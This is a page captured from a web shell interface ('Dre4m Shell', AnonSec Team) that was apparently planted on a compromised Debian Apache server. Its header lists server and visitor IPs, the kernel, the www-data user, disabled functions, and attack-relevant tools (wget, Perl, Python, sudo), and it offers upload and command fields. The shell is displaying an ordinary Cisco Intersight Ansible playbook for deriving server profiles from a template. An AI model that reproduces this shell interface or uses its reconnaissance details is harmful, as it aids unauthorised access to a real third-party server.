Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.219.154.86
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/ansible_collections/cisco/intersight/playbooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /lib/python3/dist-packages/ansible_collections/cisco/intersight/playbooks/derive_profiles.yml
---
#
# include_tasks for deriving profiles from a template
#
# Get the Organization Moid
- name: "Get {{ template_name }}_DERIVED-{{ item }} Profile Moid"
  intersight_rest_api:
    api_private_key: "{{ api_private_key | default(omit) }}"
    api_key_id: "{{ api_key_id | default(omit) }}"
    api_uri: "{{ api_uri | default(omit) }}"
    validate_certs: "{{ validate_certs | default(omit) }}"
    state: "{{ state | default(omit) }}"
    resource_path: /server/Profiles
    query_params:
      $filter: "Name eq '{{ template_name }}_DERIVED-{{ item }}'"
  register: profile_resp
# Derive profiles from template (if profiles don't already exist)
- name: "POST to derive {{ template_name }}_DERIVED-{{ item }}"
  intersight_rest_api:
    api_private_key: "{{ api_private_key | default(omit) }}"
    api_key_id: "{{ api_key_id | default(omit) }}"
    api_uri: "{{ api_uri | default(omit) }}"
    validate_certs: "{{ validate_certs | default(omit) }}"
    state: "{{ state | default(omit) }}"
    resource_path: /bulk/MoCloners
    update_method: post
    api_body: {
      "Sources": [
        {
          "ClassId": "mo.MoRef",
          "ObjectType": "server.ProfileTemplate",
          "Moid": "{{ template_resp.api_response.Moid }}"
        }
      ],
      "Targets": [
        {
          "Name": "{{ template_name }}_DERIVED-{{ item }}",
          "ObjectType": "server.Profile",
          "Organization": {
            "Moid": "{{ org_resp.api_response.Moid }}"
          },
          "ClassId": "server.Profile"
        }
      ]
    }
  when: profile_resp.api_response is not defined or not profile_resp.api_response
# POST updates to derived profiles if template was changed
- name: "POST to update {{ template_name }}_DERIVED-{{ item }}"
  intersight_rest_api:
    api_private_key: "{{ api_private_key | default(omit) }}"
    api_key_id: "{{ api_key_id | default(omit) }}"
    api_uri: "{{ api_uri | default(omit) }}"
    validate_certs: "{{ validate_certs | default(omit) }}"
    state: "{{ state | default(omit) }}"
    resource_path: /bulk/MoMergers
    update_method: post
    api_body: {
      "Sources": [
        {
          "ObjectType": "server.ProfileTemplate",
          "Moid": "{{ template_resp.api_response.Moid }}"
        }
      ],
      "Targets": [
        {
          "ObjectType": "server.Profile",
          "Moid": "{{ profile_resp.api_response.Moid }}"
        }
      ],
      "MergeAction":"Replace"
    }
  when: profile_resp.api_response and template_resp.changed

Anon7 - 2022
AnonSec Team